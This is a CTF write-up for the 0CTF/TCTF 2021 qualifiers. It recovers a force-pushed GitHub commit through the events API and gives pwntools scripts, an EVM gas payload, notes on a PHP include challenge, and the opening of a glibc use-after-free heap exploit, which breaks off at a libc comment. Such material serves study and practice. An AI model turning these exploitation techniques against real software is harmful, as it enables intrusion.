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<article class="markdown-body"><h1 id="0ctftctf-2021-quals"><a class="header-link" href="#0ctftctf-2021-quals"></a>0CTF/TCTF 2021 Quals</h1>
<h2 id="misc"><a class="header-link" href="#misc"></a>Misc</h2>
<h3 id="guthib"><a class="header-link" href="#guthib"></a>GutHib</h3>
<p>The challenge is to restore secret information on GitHub. The author uses <code>git push --force</code> to overwrite the commit. Also, the repository belongs to an organization without any public members, and the commit author is nobody (the email is a bogus address).</p>
<p>The idea here is to use Github API to retrieve events of the users. I come upon a <a href="https://stackoverflow.com/a/43271529/11712282">Stackoverflow post</a> and fetch the events of the repo:</p>
<p><a href="https://api.github.com/repos/awesome-ctf/TCTF2021-Guthib/events">https://api.github.com/repos/awesome-ctf/TCTF2021-Guthib/events</a></p>
<p>One of the commit is overwritten. Lets just restore it:</p>
<p><a href="https://api.github.com/repos/awesome-ctf/TCTF2021-Guthib/commits/6442a84e359a19c4aeb1ef792a04bb9206140926">https://api.github.com/repos/awesome-ctf/TCTF2021-Guthib/commits/6442a84e359a19c4aeb1ef792a04bb9206140926</a></p>
<p>Gottcha <code>flag{ZJaNicLjnDytwqosX8ebwiMdLGcMBL}</code>!</p>
<p>It's worth to mention that the events also leak the author of the commits, though it's unrelated to this challenge. </p>
<h4 id="failed-attempts"><a class="header-link" href="#failed-attempts"></a>Failed Attempts</h4>
<ul class="list">
<li>Forked repos: If the repo is forked first, we can probably still read the previous commits. However it seems that no one forked the repo before the CTF starts.</li>
</ul>
<h3 id="uc_baaaby"><a class="header-link" href="#uc_baaaby"></a>uc_baaaby</h3>
<ul class="list">
<li><a href="https://www.nayuki.io/page/fast-md5-hash-implementation-in-x86-assembly">https://www.nayuki.io/page/fast-md5-hash-implementation-in-x86-assembly</a></li>
<li><a href="https://web.archive.org/web/20131109063453/https://www.onlinedisassembler.com/blog/?p=23">https://web.archive.org/web/20131109063453/https://www.onlinedisassembler.com/blog/?p=23</a></li>
</ul>
<pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/env python3</span>
<span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *
<span class="hljs-comment"># flag{Hope_you_found_the_problem}</span>
context.arch = <span class="hljs-string">'amd64'</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">ROUND0</span>(<span class="hljs-params">a, b, c, d, k, s, t</span>):</span>
r = <span class="hljs-string">f'''
mov esi, <span class="hljs-subst">{c}</span>
add <span class="hljs-subst">{a}</span>, [rbp+<span class="hljs-subst">{k*<span class="hljs-number">4</span>}</span>]
xor esi, <span class="hljs-subst">{d}</span>
and esi, <span class="hljs-subst">{b}</span>
xor esi, <span class="hljs-subst">{d}</span>
lea <span class="hljs-subst">{a}</span>, [<span class="hljs-subst">{a}</span>+esi+<span class="hljs-subst">{t}</span>]
rol <span class="hljs-subst">{a}</span>, <span class="hljs-subst">{s}</span>
add <span class="hljs-subst">{a}</span>, <span class="hljs-subst">{b}</span>
'''</span>.strip()
<span class="hljs-keyword">return</span> r
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">ROUND1</span>(<span class="hljs-params">a, b, c, d, k, s, t</span>):</span>
r = <span class="hljs-string">f'''
mov esi, <span class="hljs-subst">{d}</span>
mov edi, <span class="hljs-subst">{d}</span>
add <span class="hljs-subst">{a}</span>, [rbp+<span class="hljs-subst">{k*<span class="hljs-number">4</span>}</span>]
not esi
and edi, <span class="hljs-subst">{b}</span>
and esi, <span class="hljs-subst">{c}</span>
or esi, edi
lea <span class="hljs-subst">{a}</span>, [<span class="hljs-subst">{a}</span>+esi+<span class="hljs-subst">{t}</span>]
rol <span class="hljs-subst">{a}</span>, <span class="hljs-subst">{s}</span>
add <span class="hljs-subst">{a}</span>, <span class="hljs-subst">{b}</span>
'''</span>.strip()
<span class="hljs-keyword">return</span> r
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">ROUND2</span>(<span class="hljs-params">a, b, c, d, k, s, t</span>):</span>
r = <span class="hljs-string">f'''
mov esi, <span class="hljs-subst">{c}</span>
add <span class="hljs-subst">{a}</span>, [rbp+<span class="hljs-subst">{k*<span class="hljs-number">4</span>}</span>]
xor esi, <span class="hljs-subst">{d}</span>
xor esi, <span class="hljs-subst">{b}</span>
lea <span class="hljs-subst">{a}</span>, [<span class="hljs-subst">{a}</span>+esi+<span class="hljs-subst">{t}</span>]
rol <span class="hljs-subst">{a}</span>, <span class="hljs-subst">{s}</span>
add <span class="hljs-subst">{a}</span>, <span class="hljs-subst">{b}</span>
'''</span>.strip()
<span class="hljs-keyword">return</span> r
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">ROUND3</span>(<span class="hljs-params">a, b, c, d, k, s, t</span>):</span>
r = <span class="hljs-string">f'''
mov esi, <span class="hljs-subst">{d}</span>
not esi
add <span class="hljs-subst">{a}</span>, [rbp+<span class="hljs-subst">{k*<span class="hljs-number">4</span>}</span>]
or esi, <span class="hljs-subst">{b}</span>
xor esi, <span class="hljs-subst">{c}</span>
lea <span class="hljs-subst">{a}</span>, [<span class="hljs-subst">{a}</span>+esi+<span class="hljs-subst">{t}</span>]
rol <span class="hljs-subst">{a}</span>, <span class="hljs-subst">{s}</span>
add <span class="hljs-subst">{a}</span>, <span class="hljs-subst">{b}</span>
'''</span>.strip()
<span class="hljs-keyword">return</span> r
_asm = <span class="hljs-string">f'''
mov rbp, 0xbabecafe000
mov byte ptr [rbp+50], 0x80
mov qword ptr [rbp+56], 400
mov eax, 0x67452301
mov ebx, 0xEFCDAB89
mov ecx, 0x98BADCFE
mov edx, 0x10325476
<span class="hljs-subst">{ROUND0(<span class="hljs-string">'eax'</span>, <span class="hljs-string">'ebx'</span>, <span class="hljs-string">'ecx'</span>, <span class="hljs-string">'edx'</span>, <span class="hljs-number">0</span>, <span class="hljs-number">7</span>, <span class="hljs-number">0xD76AA478</span>)}</span>
<span class="hljs-subst">{ROUND0(<span class="hljs-string">'edx'</span>, <span class="hljs-string">'eax'</span>, <span class="hljs-string">'ebx'</span>, <span class="hljs-string">'ecx'</span>, <span class="hljs-number">1</span>, <span class="hljs-number">12</span>, <span class="hljs-number">0xE8C7B756</span>)}</span>
<span class="hljs-subst">{ROUND0(<span class="hljs-string">'ecx'</span>, <span class="hljs-string">'edx'</span>, <span class="hljs-string">'eax'</span>, <span class="hljs-string">'ebx'</span>, <span class="hljs-number">2</span>, <span class="hljs-number">17</span>, <span class="hljs-number">0x242070DB</span>)}</span>
<span class="hljs-subst">{ROUND0(<span class="hljs-string">'ebx'</span>, <span class="hljs-string">'ecx'</span>, <span class="hljs-string">'edx'</span>, <span class="hljs-string">'eax'</span>, <span class="hljs-number">3</span>, <span class="hljs-number">22</span>, -<span class="hljs-number">0x3E423112</span>)}</span>
<span class="hljs-subst">{ROUND0(<span class="hljs-string">'eax'</span>, <span class="hljs-string">'ebx'</span>, <span class="hljs-string">'ecx'</span>, <span class="hljs-string">'edx'</span>, <span class="hljs-number">4</span>, <span class="hljs-number">7</span>, -<span class="hljs-number">0x0A83F051</span>)}</span>
<span class="hljs-subst">{ROUND0(<span class="hljs-string">'edx'</span>, <span class="hljs-string">'eax'</span>, <span class="hljs-string">'ebx'</span>, <span class="hljs-string">'ecx'</span>, <span class="hljs-number">5</span>, <span class="hljs-number">12</span>, <span class="hljs-number">0x4787C62A</span>)}</span>
<span class="hljs-subst">{ROUND0(<span class="hljs-string">'ecx'</span>, <span class="hljs-string">'edx'</span>, <span class="hljs-string">'eax'</span>, <span class="hljs-string">'ebx'</span>, <span class="hljs-number">6</span>, <span class="hljs-number">17</span>, -<span class="hljs-number">0x57CFB9ED</span>)}</span>
<span class="hljs-subst">{ROUND0(<span class="hljs-string">'ebx'</span>, <span class="hljs-string">'ecx'</span>, <span class="hljs-string">'edx'</span>, <span class="hljs-string">'eax'</span>, <span class="hljs-number">7</span>, <span class="hljs-number">22</span>, -<span class="hljs-number">0x02B96AFF</span>)}</span>
<span class="hljs-subst">{ROUND0(<span class="hljs-string">'eax'</span>, <span class="hljs-string">'ebx'</span>, <span class="hljs-string">'ecx'</span>, <span class="hljs-string">'edx'</span>, <span class="hljs-number">8</span>, <span class="hljs-number">7</span>, <span class="hljs-number">0x698098D8</span>)}</span>
<span class="hljs-subst">{ROUND0(<span class="hljs-string">'edx'</span>, <span class="hljs-string">'eax'</span>, <span class="hljs-string">'ebx'</span>, <span class="hljs-string">'ecx'</span>, <span class="hljs-number">9</span>, <span class="hljs-number">12</span>, -<span class="hljs-number">0x74BB0851</span>)}</span>
<span class="hljs-subst">{ROUND0(<span class="hljs-string">'ecx'</span>, <span class="hljs-string">'edx'</span>, <span class="hljs-string">'eax'</span>, <span class="hljs-string">'ebx'</span>, <span class="hljs-number">10</span>, <span class="hljs-number">17</span>, -<span class="hljs-number">0x0000A44F</span>)}</span>
<span class="hljs-subst">{ROUND0(<span class="hljs-string">'ebx'</span>, <span class="hljs-string">'ecx'</span>, <span class="hljs-string">'edx'</span>, <span class="hljs-string">'eax'</span>, <span class="hljs-number">11</span>, <span class="hljs-number">22</span>, -<span class="hljs-number">0x76A32842</span>)}</span>
<span class="hljs-subst">{ROUND0(<span class="hljs-string">'eax'</span>, <span class="hljs-string">'ebx'</span>, <span class="hljs-string">'ecx'</span>, <span class="hljs-string">'edx'</span>, <span class="hljs-number">12</span>, <span class="hljs-number">7</span>, <span class="hljs-number">0x6B901122</span>)}</span>
<span class="hljs-subst">{ROUND0(<span class="hljs-string">'edx'</span>, <span class="hljs-string">'eax'</span>, <span class="hljs-string">'ebx'</span>, <span class="hljs-string">'ecx'</span>, <span class="hljs-number">13</span>, <span class="hljs-number">12</span>, -<span class="hljs-number">0x02678E6D</span>)}</span>
<span class="hljs-subst">{ROUND0(<span class="hljs-string">'ecx'</span>, <span class="hljs-string">'edx'</span>, <span class="hljs-string">'eax'</span>, <span class="hljs-string">'ebx'</span>, <span class="hljs-number">14</span>, <span class="hljs-number">17</span>, -<span class="hljs-number">0x5986BC72</span>)}</span>
<span class="hljs-subst">{ROUND0(<span class="hljs-string">'ebx'</span>, <span class="hljs-string">'ecx'</span>, <span class="hljs-string">'edx'</span>, <span class="hljs-string">'eax'</span>, <span class="hljs-number">15</span>, <span class="hljs-number">22</span>, <span class="hljs-number">0x49B40821</span>)}</span>
<span class="hljs-subst">{ROUND1(<span class="hljs-string">'eax'</span>, <span class="hljs-string">'ebx'</span>, <span class="hljs-string">'ecx'</span>, <span class="hljs-string">'edx'</span>, <span class="hljs-number">1</span>, <span class="hljs-number">5</span>, -<span class="hljs-number">0x09E1DA9E</span>)}</span>
<span class="hljs-subst">{ROUND1(<span class="hljs-string">'edx'</span>, <span class="hljs-string">'eax'</span>, <span class="hljs-string">'ebx'</span>, <span class="hljs-string">'ecx'</span>, <span class="hljs-number">6</span>, <span class="hljs-number">9</span>, -<span class="hljs-number">0x3FBF4CC0</span>)}</span>
<span class="hljs-subst">{ROUND1(<span class="hljs-string">'ecx'</span>, <span class="hljs-string">'edx'</span>, <span class="hljs-string">'eax'</span>, <span class="hljs-string">'ebx'</span>, <span class="hljs-number">11</span>, <span class="hljs-number">14</span>, <span class="hljs-number">0x265E5A51</span>)}</span>
<span class="hljs-subst">{ROUND1(<span class="hljs-string">'ebx'</span>, <span class="hljs-string">'ecx'</span>, <span class="hljs-string">'edx'</span>, <span class="hljs-string">'eax'</span>, <span class="hljs-number">0</span>, <span class="hljs-number">20</span>, -<span class="hljs-number">0x16493856</span>)}</span>
<span class="hljs-subst">{ROUND1(<span class="hljs-string">'eax'</span>, <span class="hljs-string">'ebx'</span>, <span class="hljs-string">'ecx'</span>, <span class="hljs-string">'edx'</span>, <span class="hljs-number">5</span>, <span class="hljs-number">5</span>, -<span class="hljs-number">0x29D0EFA3</span>)}</span>
<span class="hljs-subst">{ROUND1(<span class="hljs-string">'edx'</span>, <span class="hljs-string">'eax'</span>, <span class="hljs-string">'ebx'</span>, <span class="hljs-string">'ecx'</span>, <span class="hljs-number">10</span>, <span class="hljs-number">9</span>, <span class="hljs-number">0x02441453</span>)}</span>
<span class="hljs-subst">{ROUND1(<span class="hljs-string">'ecx'</span>, <span class="hljs-string">'edx'</span>, <span class="hljs-string">'eax'</span>, <span class="hljs-string">'ebx'</span>, <span class="hljs-number">15</span>, <span class="hljs-number">14</span>, -<span class="hljs-number">0x275E197F</span>)}</span>
<span class="hljs-subst">{ROUND1(<span class="hljs-string">'ebx'</span>, <span class="hljs-string">'ecx'</span>, <span class="hljs-string">'edx'</span>, <span class="hljs-string">'eax'</span>, <span class="hljs-number">4</span>, <span class="hljs-number">20</span>, -<span class="hljs-number">0x182C0438</span>)}</span>
<span class="hljs-subst">{ROUND1(<span class="hljs-string">'eax'</span>, <span class="hljs-string">'ebx'</span>, <span class="hljs-string">'ecx'</span>, <span class="hljs-string">'edx'</span>, <span class="hljs-number">9</span>, <span class="hljs-number">5</span>, <span class="hljs-number">0x21E1CDE6</span>)}</span>
<span class="hljs-subst">{ROUND1(<span class="hljs-string">'edx'</span>, <span class="hljs-string">'eax'</span>, <span class="hljs-string">'ebx'</span>, <span class="hljs-string">'ecx'</span>, <span class="hljs-number">14</span>, <span class="hljs-number">9</span>, -<span class="hljs-number">0x3CC8F82A</span>)}</span>
<span class="hljs-subst">{ROUND1(<span class="hljs-string">'ecx'</span>, <span class="hljs-string">'edx'</span>, <span class="hljs-string">'eax'</span>, <span class="hljs-string">'ebx'</span>, <span class="hljs-number">3</span>, <span class="hljs-number">14</span>, -<span class="hljs-number">0x0B2AF279</span>)}</span>
<span class="hljs-subst">{ROUND1(<span class="hljs-string">'ebx'</span>, <span class="hljs-string">'ecx'</span>, <span class="hljs-string">'edx'</span>, <span class="hljs-string">'eax'</span>, <span class="hljs-number">8</span>, <span class="hljs-number">20</span>, <span class="hljs-number">0x455A14ED</span>)}</span>
<span class="hljs-subst">{ROUND1(<span class="hljs-string">'eax'</span>, <span class="hljs-string">'ebx'</span>, <span class="hljs-string">'ecx'</span>, <span class="hljs-string">'edx'</span>, <span class="hljs-number">13</span>, <span class="hljs-number">5</span>, -<span class="hljs-number">0x561C16FB</span>)}</span>
<span class="hljs-subst">{ROUND1(<span class="hljs-string">'edx'</span>, <span class="hljs-string">'eax'</span>, <span class="hljs-string">'ebx'</span>, <span class="hljs-string">'ecx'</span>, <span class="hljs-number">2</span>, <span class="hljs-number">9</span>, -<span class="hljs-number">0x03105C08</span>)}</span>
<span class="hljs-subst">{ROUND1(<span class="hljs-string">'ecx'</span>, <span class="hljs-string">'edx'</span>, <span class="hljs-string">'eax'</span>, <span class="hljs-string">'ebx'</span>, <span class="hljs-number">7</span>, <span class="hljs-number">14</span>, <span class="hljs-number">0x676F02D9</span>)}</span>
<span class="hljs-subst">{ROUND1(<span class="hljs-string">'ebx'</span>, <span class="hljs-string">'ecx'</span>, <span class="hljs-string">'edx'</span>, <span class="hljs-string">'eax'</span>, <span class="hljs-number">12</span>, <span class="hljs-number">20</span>, -<span class="hljs-number">0x72D5B376</span>)}</span>
<span class="hljs-subst">{ROUND2(<span class="hljs-string">'eax'</span>, <span class="hljs-string">'ebx'</span>, <span class="hljs-string">'ecx'</span>, <span class="hljs-string">'edx'</span>, <span class="hljs-number">5</span>, <span class="hljs-number">4</span>, -<span class="hljs-number">0x0005C6BE</span>)}</span>
<span class="hljs-subst">{ROUND2(<span class="hljs-string">'edx'</span>, <span class="hljs-string">'eax'</span>, <span class="hljs-string">'ebx'</span>, <span class="hljs-string">'ecx'</span>, <span class="hljs-number">8</span>, <span class="hljs-number">11</span>, -<span class="hljs-number">0x788E097F</span>)}</span>
<span class="hljs-subst">{ROUND2(<span class="hljs-string">'ecx'</span>, <span class="hljs-string">'edx'</span>, <span class="hljs-string">'eax'</span>, <span class="hljs-string">'ebx'</span>, <span class="hljs-number">11</span>, <span class="hljs-number">16</span>, <span class="hljs-number">0x6D9D6122</span>)}</span>
<span class="hljs-subst">{ROUND2(<span class="hljs-string">'ebx'</span>, <span class="hljs-string">'ecx'</span>, <span class="hljs-string">'edx'</span>, <span class="hljs-string">'eax'</span>, <span class="hljs-number">14</span>, <span class="hljs-number">23</span>, -<span class="hljs-number">0x021AC7F4</span>)}</span>
<span class="hljs-subst">{ROUND2(<span class="hljs-string">'eax'</span>, <span class="hljs-string">'ebx'</span>, <span class="hljs-string">'ecx'</span>, <span class="hljs-string">'edx'</span>, <span class="hljs-number">1</span>, <span class="hljs-number">4</span>, -<span class="hljs-number">0x5B4115BC</span>)}</span>
<span class="hljs-subst">{ROUND2(<span class="hljs-string">'edx'</span>, <span class="hljs-string">'eax'</span>, <span class="hljs-string">'ebx'</span>, <span class="hljs-string">'ecx'</span>, <span class="hljs-number">4</span>, <span class="hljs-number">11</span>, <span class="hljs-number">0x4BDECFA9</span>)}</span>
<span class="hljs-subst">{ROUND2(<span class="hljs-string">'ecx'</span>, <span class="hljs-string">'edx'</span>, <span class="hljs-string">'eax'</span>, <span class="hljs-string">'ebx'</span>, <span class="hljs-number">7</span>, <span class="hljs-number">16</span>, -<span class="hljs-number">0x0944B4A0</span>)}</span>
<span class="hljs-subst">{ROUND2(<span class="hljs-string">'ebx'</span>, <span class="hljs-string">'ecx'</span>, <span class="hljs-string">'edx'</span>, <span class="hljs-string">'eax'</span>, <span class="hljs-number">10</span>, <span class="hljs-number">23</span>, -<span class="hljs-number">0x41404390</span>)}</span>
<span class="hljs-subst">{ROUND2(<span class="hljs-string">'eax'</span>, <span class="hljs-string">'ebx'</span>, <span class="hljs-string">'ecx'</span>, <span class="hljs-string">'edx'</span>, <span class="hljs-number">13</span>, <span class="hljs-number">4</span>, <span class="hljs-number">0x289B7EC6</span>)}</span>
<span class="hljs-subst">{ROUND2(<span class="hljs-string">'edx'</span>, <span class="hljs-string">'eax'</span>, <span class="hljs-string">'ebx'</span>, <span class="hljs-string">'ecx'</span>, <span class="hljs-number">0</span>, <span class="hljs-number">11</span>, -<span class="hljs-number">0x155ED806</span>)}</span>
<span class="hljs-subst">{ROUND2(<span class="hljs-string">'ecx'</span>, <span class="hljs-string">'edx'</span>, <span class="hljs-string">'eax'</span>, <span class="hljs-string">'ebx'</span>, <span class="hljs-number">3</span>, <span class="hljs-number">16</span>, -<span class="hljs-number">0x2B10CF7B</span>)}</span>
<span class="hljs-subst">{ROUND2(<span class="hljs-string">'ebx'</span>, <span class="hljs-string">'ecx'</span>, <span class="hljs-string">'edx'</span>, <span class="hljs-string">'eax'</span>, <span class="hljs-number">6</span>, <span class="hljs-number">23</span>, <span class="hljs-number">0x04881D05</span>)}</span>
<span class="hljs-subst">{ROUND2(<span class="hljs-string">'eax'</span>, <span class="hljs-string">'ebx'</span>, <span class="hljs-string">'ecx'</span>, <span class="hljs-string">'edx'</span>, <span class="hljs-number">9</span>, <span class="hljs-number">4</span>, -<span class="hljs-number">0x262B2FC7</span>)}</span>
<span class="hljs-subst">{ROUND2(<span class="hljs-string">'edx'</span>, <span class="hljs-string">'eax'</span>, <span class="hljs-string">'ebx'</span>, <span class="hljs-string">'ecx'</span>, <span class="hljs-number">12</span>, <span class="hljs-number">11</span>, -<span class="hljs-number">0x1924661B</span>)}</span>
<span class="hljs-subst">{ROUND2(<span class="hljs-string">'ecx'</span>, <span class="hljs-string">'edx'</span>, <span class="hljs-string">'eax'</span>, <span class="hljs-string">'ebx'</span>, <span class="hljs-number">15</span>, <span class="hljs-number">16</span>, <span class="hljs-number">0x1FA27CF8</span>)}</span>
<span class="hljs-subst">{ROUND2(<span class="hljs-string">'ebx'</span>, <span class="hljs-string">'ecx'</span>, <span class="hljs-string">'edx'</span>, <span class="hljs-string">'eax'</span>, <span class="hljs-number">2</span>, <span class="hljs-number">23</span>, -<span class="hljs-number">0x3B53A99B</span>)}</span>
<span class="hljs-subst">{ROUND3(<span class="hljs-string">'eax'</span>, <span class="hljs-string">'ebx'</span>, <span class="hljs-string">'ecx'</span>, <span class="hljs-string">'edx'</span>, <span class="hljs-number">0</span>, <span class="hljs-number">6</span>, -<span class="hljs-number">0x0BD6DDBC</span>)}</span>
<span class="hljs-subst">{ROUND3(<span class="hljs-string">'edx'</span>, <span class="hljs-string">'eax'</span>, <span class="hljs-string">'ebx'</span>, <span class="hljs-string">'ecx'</span>, <span class="hljs-number">7</span>, <span class="hljs-number">10</span>, <span class="hljs-number">0x432AFF97</span>)}</span>
<span class="hljs-subst">{ROUND3(<span class="hljs-string">'ecx'</span>, <span class="hljs-string">'edx'</span>, <span class="hljs-string">'eax'</span>, <span class="hljs-string">'ebx'</span>, <span class="hljs-number">14</span>, <span class="hljs-number">15</span>, -<span class="hljs-number">0x546BDC59</span>)}</span>
<span class="hljs-subst">{ROUND3(<span class="hljs-string">'ebx'</span>, <span class="hljs-string">'ecx'</span>, <span class="hljs-string">'edx'</span>, <span class="hljs-string">'eax'</span>, <span class="hljs-number">5</span>, <span class="hljs-number">21</span>, -<span class="hljs-number">0x036C5FC7</span>)}</span>
<span class="hljs-subst">{ROUND3(<span class="hljs-string">'eax'</span>, <span class="hljs-string">'ebx'</span>, <span class="hljs-string">'ecx'</span>, <span class="hljs-string">'edx'</span>, <span class="hljs-number">12</span>, <span class="hljs-number">6</span>, <span class="hljs-number">0x655B59C3</span>)}</span>
<span class="hljs-subst">{ROUND3(<span class="hljs-string">'edx'</span>, <span class="hljs-string">'eax'</span>, <span class="hljs-string">'ebx'</span>, <span class="hljs-string">'ecx'</span>, <span class="hljs-number">3</span>, <span class="hljs-number">10</span>, -<span class="hljs-number">0x70F3336E</span>)}</span>
<span class="hljs-subst">{ROUND3(<span class="hljs-string">'ecx'</span>, <span class="hljs-string">'edx'</span>, <span class="hljs-string">'eax'</span>, <span class="hljs-string">'ebx'</span>, <span class="hljs-number">10</span>, <span class="hljs-number">15</span>, -<span class="hljs-number">0x00100B83</span>)}</span>
<span class="hljs-subst">{ROUND3(<span class="hljs-string">'ebx'</span>, <span class="hljs-string">'ecx'</span>, <span class="hljs-string">'edx'</span>, <span class="hljs-string">'eax'</span>, <span class="hljs-number">1</span>, <span class="hljs-number">21</span>, -<span class="hljs-number">0x7A7BA22F</span>)}</span>
<span class="hljs-subst">{ROUND3(<span class="hljs-string">'eax'</span>, <span class="hljs-string">'ebx'</span>, <span class="hljs-string">'ecx'</span>, <span class="hljs-string">'edx'</span>, <span class="hljs-number">8</span>, <span class="hljs-number">6</span>, <span class="hljs-number">0x6FA87E4F</span>)}</span>
<span class="hljs-subst">{ROUND3(<span class="hljs-string">'edx'</span>, <span class="hljs-string">'eax'</span>, <span class="hljs-string">'ebx'</span>, <span class="hljs-string">'ecx'</span>, <span class="hljs-number">15</span>, <span class="hljs-number">10</span>, -<span class="hljs-number">0x01D31920</span>)}</span>
<span class="hljs-subst">{ROUND3(<span class="hljs-string">'ecx'</span>, <span class="hljs-string">'edx'</span>, <span class="hljs-string">'eax'</span>, <span class="hljs-string">'ebx'</span>, <span class="hljs-number">6</span>, <span class="hljs-number">15</span>, -<span class="hljs-number">0x5CFEBCEC</span>)}</span>
<span class="hljs-subst">{ROUND3(<span class="hljs-string">'ebx'</span>, <span class="hljs-string">'ecx'</span>, <span class="hljs-string">'edx'</span>, <span class="hljs-string">'eax'</span>, <span class="hljs-number">13</span>, <span class="hljs-number">21</span>, <span class="hljs-number">0x4E0811A1</span>)}</span>
<span class="hljs-subst">{ROUND3(<span class="hljs-string">'eax'</span>, <span class="hljs-string">'ebx'</span>, <span class="hljs-string">'ecx'</span>, <span class="hljs-string">'edx'</span>, <span class="hljs-number">4</span>, <span class="hljs-number">6</span>, -<span class="hljs-number">0x08AC817E</span>)}</span>
<span class="hljs-subst">{ROUND3(<span class="hljs-string">'edx'</span>, <span class="hljs-string">'eax'</span>, <span class="hljs-string">'ebx'</span>, <span class="hljs-string">'ecx'</span>, <span class="hljs-number">11</span>, <span class="hljs-number">10</span>, -<span class="hljs-number">0x42C50DCB</span>)}</span>
<span class="hljs-subst">{ROUND3(<span class="hljs-string">'ecx'</span>, <span class="hljs-string">'edx'</span>, <span class="hljs-string">'eax'</span>, <span class="hljs-string">'ebx'</span>, <span class="hljs-number">2</span>, <span class="hljs-number">15</span>, <span class="hljs-number">0x2AD7D2BB</span>)}</span>
<span class="hljs-subst">{ROUND3(<span class="hljs-string">'ebx'</span>, <span class="hljs-string">'ecx'</span>, <span class="hljs-string">'edx'</span>, <span class="hljs-string">'eax'</span>, <span class="hljs-number">9</span>, <span class="hljs-number">21</span>, -<span class="hljs-number">0x14792C6F</span>)}</span>
add eax, 0x67452301
add ebx, 0xEFCDAB89
add ecx, 0x98BADCFE
add edx, 0x10325476
mov [rbp+0x800], eax
mov [rbp+0x804], ebx
mov [rbp+0x808], ecx
mov [rbp+0x80c], edx
'''</span>.strip()
<span class="hljs-built_in">print</span>(_asm)
<span class="hljs-built_in">print</span>()
sc = asm(_asm)
sc = <span class="hljs-string">b'\x66'</span> * (<span class="hljs-number">0x2000</span> - <span class="hljs-built_in">len</span>(sc)) + sc
ins_cnt = <span class="hljs-built_in">len</span>(_asm.split(<span class="hljs-string">'\n'</span>))
y = remote(<span class="hljs-string">'111.186.59.29'</span>, <span class="hljs-number">10086</span>)
y.send(sc)
y.interactive()</code></pre><h3 id="singer"><a class="header-link" href="#singer"></a>Singer</h3>
<p>guess the target and draw out notes to make letters
recovered data : MUSIKING</p>
<h3 id="gas-machine"><a class="header-link" href="#gas-machine"></a>gas machine</h3>
<ul class="list">
<li>Payload:</li>
</ul>
<pre class="hljs"><code><span class="hljs-comment">// a loop to consume most of the gas</span>
<span class="hljs-comment">// every loop costs 22 gas</span>
JUMPDEST
GAS
PUSH1 <span class="hljs-number">58</span>
<span class="hljs-keyword">LT</span>
PUSH1 <span class="hljs-number">0</span>
JUMPI
<span class="hljs-comment">// jump according to the left gas amount</span>
<span class="hljs-comment">// 0 gas at STOP since</span>
<span class="hljs-comment">// gas - 16 + (50 - (gas - 2)) == the offset of STOP == 36</span>
GAS
PUSH1 <span class="hljs-number">50</span>
SUB
JUMP
JUMPDEST
JUMPDEST
JUMPDEST
JUMPDEST
JUMPDEST
JUMPDEST
JUMPDEST
JUMPDEST
JUMPDEST
JUMPDEST
JUMPDEST
JUMPDEST
JUMPDEST
JUMPDEST
JUMPDEST
JUMPDEST
JUMPDEST
JUMPDEST
JUMPDEST
JUMPDEST
JUMPDEST
JUMPDEST
JUMPDEST
<span class="hljs-keyword">STOP</span></code></pre><h2 id="web"><a class="header-link" href="#web"></a>Web</h2>
<h3 id="1linephp"><a class="header-link" href="#1linephp"></a>1linephp</h3>
<p>This challenge is similar to <a href="https://github.com/orangetw/My-CTF-Web-Challenges#one-line-php-challenge">One Line PHP Challenge</a> created by 🍊 in HITCON 2018, but it will append a <code>.php</code> extention to our filename.</p>
<pre class="hljs"><code><span class="php"><span class="hljs-meta"><?php</span>
(<span class="hljs-variable">$_</span>=@<span class="hljs-variable">$_GET</span>[<span class="hljs-string">'yxxx'</span>].<span class="hljs-string">'.php'</span>) && @substr(file(<span class="hljs-variable">$_</span>)[<span class="hljs-number">0</span>],<span class="hljs-number">0</span>,<span class="hljs-number">6</span>) === <span class="hljs-string">'@<?php'</span> ? <span class="hljs-keyword">include</span>(<span class="hljs-variable">$_</span>) : highlight_file(<span class="hljs-keyword">__FILE__</span>) && <span class="hljs-keyword">include</span>(<span class="hljs-string">'phpinfo.html'</span>);</span></code></pre><p>Use <a href="https://github.com/brettalton/phpinfo-compare">Tool</a> to the compare with <code>phpinfo</code> generated by <code>php:7.4.11-apache</code>, we can find an extra php stream <code>zip://</code> in challenge's <code>phpinfo</code>.</p>
<h2 id="pwn"><a class="header-link" href="#pwn"></a>Pwn</h2>
<h3 id="listbook"><a class="header-link" href="#listbook"></a>Listbook</h3>
<p>abs(CHAR_MIN) = CHAR_MIN to overwrite in_use table for UAF + elementary glibc heap exploit</p>
<pre class="hljs"><code><span class="hljs-attribute">from</span> pwn import *
<span class="hljs-comment">###Util</span>
<span class="hljs-attribute">def</span> create(name,data):
<span class="hljs-attribute">sname</span> = name
<span class="hljs-attribute">if</span> type(sname)==str:
<span class="hljs-attribute">sname</span> = sname.encode()
<span class="hljs-attribute">if</span> len(sname)!=<span class="hljs-number">0</span>x<span class="hljs-number">10</span>:
<span class="hljs-attribute">sname</span>+=b'\n'
<span class="hljs-attribute">if</span> type(data)==str:
<span class="hljs-attribute">data</span> = data.encode()
<span class="hljs-attribute">if</span> len(data)!=<span class="hljs-number">0</span>x<span class="hljs-number">200</span>:
<span class="hljs-attribute">data</span>+=b'\n'
<span class="hljs-attribute">r</span>.sendlineafter('>>','<span class="hljs-number">1</span>')
<span class="hljs-attribute">r</span>.sendafter('name>',sname)
<span class="hljs-attribute">r</span>.sendafter('content>',data)
<span class="hljs-attribute">def</span> delete(idx):
<span class="hljs-attribute">r</span>.sendlineafter('>>','<span class="hljs-number">2</span>')
<span class="hljs-attribute">r</span>.sendlineafter('index>',str(idx))
<span class="hljs-attribute">return</span> r.recvline()
<span class="hljs-attribute">def</span> show(idx):
<span class="hljs-attribute">r</span>.sendlineafter('>>','<span class="hljs-number">3</span>')
<span class="hljs-attribute">r</span>.sendlineafter('index>',str(idx))
<span class="hljs-attribute">res</span> = r.recvuntil(b'\n<span class="hljs-number">1</span>.add',drop=True)
<span class="hljs-attribute">res</span> = b'\n'+res
<span class="hljs-attribute">res</span> = res.split(b'\n => ')[<span class="hljs-number">1</span>:]
<span class="hljs-attribute">print</span>(res)
<span class="hljs-attribute">return</span> res
<span class="hljs-comment">###Addr</span>
<span class="hljs-comment"># libc2.31</span>
